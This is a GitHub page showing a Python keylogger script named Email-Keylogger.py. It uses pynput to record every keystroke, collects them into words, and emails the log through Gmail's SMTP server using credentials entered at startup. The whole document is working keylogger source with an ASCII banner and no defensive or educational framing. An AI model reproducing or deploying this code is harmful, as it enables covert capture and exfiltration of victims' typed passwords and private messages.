-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathEmail-Keylogger.py
70 lines (50 loc) · 2.93 KB
/
Email-Keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# keystroke listener module
from pynput.keyboard import Listener, Key
# sending emails modules
import smtplib, ssl
from string import ascii_letters
print('''
/$$$$$$$$ /$$ /$$ /$$ /$$ /$$
| $$_____/ |__/| $$ | $$ /$$/ | $$
| $$ /$$$$$$/$$$$ /$$$$$$ /$$| $$ | $$ /$$/ /$$$$$$ /$$ /$$| $$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$
| $$$$$ | $$_ $$_ $$ |____ $$| $$| $$ /$$$$$$| $$$$$/ /$$__ $$| $$ | $$| $$ /$$__ $$ /$$__ $$ /$$__ $$ /$$__ $$ /$$__ $$
| $$__/ | $$ \ $$ \ $$ /$$$$$$$| $$| $$|______/| $$ $$ | $$$$$$$$| $$ | $$| $$| $$ \ $$| $$ \ $$| $$ \ $$| $$$$$$$$| $$ \__/
| $$ | $$ | $$ | $$ /$$__ $$| $$| $$ | $$\ $$ | $$_____/| $$ | $$| $$| $$ | $$| $$ | $$| $$ | $$| $$_____/| $$
| $$$$$$$$| $$ | $$ | $$| $$$$$$$| $$| $$ | $$ \ $$| $$$$$$$| $$$$$$$| $$| $$$$$$/| $$$$$$$| $$$$$$$| $$$$$$$| $$
|________/|__/ |__/ |__/ \_______/|__/|__/ |__/ \__/ \_______/ \____ $$|__/ \______/ \____ $$ \____ $$ \_______/|__/
/$$ | $$ /$$ \ $$ /$$ \ $$
| $$$$$$/ | $$$$$$/| $$$$$$/
\______/ \______/ \______/
''')
numLet = [i for i in ascii_letters] + [1,2,3,4,5,6,7,8,9,0]
Email = input("What Is Your Email: ")
password = input("What Is Your Password (Don't Worry We're Not Stealing It): ")
log = ' '
keyLog = ""
char_length = int(input("What Would You Like The Word Limit To Be Before The Email Is Sent: "))
def sendMail(email,password, msg):
try:
with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=ssl.create_default_context()) as server:
server.login(email, password)
server.sendmail(email,email,f"\n\n{msg}") #\n\n' works to ensure that the keystrokes show up as the message,
except:
print("\n Something Went Wrong Check To See Whether Your Email Or Password is Right")
def keystroke(key):
# removes the comma in each keystroke recorded
key = str(key).replace("'", "")
global log
global keyLog
global char_length
#Keystrokes message sender
if key not in numLet:
log+= f"{keyLog}\n"
keyLog = ""
if len(log.split()) >= (char_length):
sendMail(Email, password, log)
log = ""
elif key in numLet:
keyLog += key
# Listener to record each keystroke
with Listener(on_press=keystroke) as Listener:
Listener.join()
input()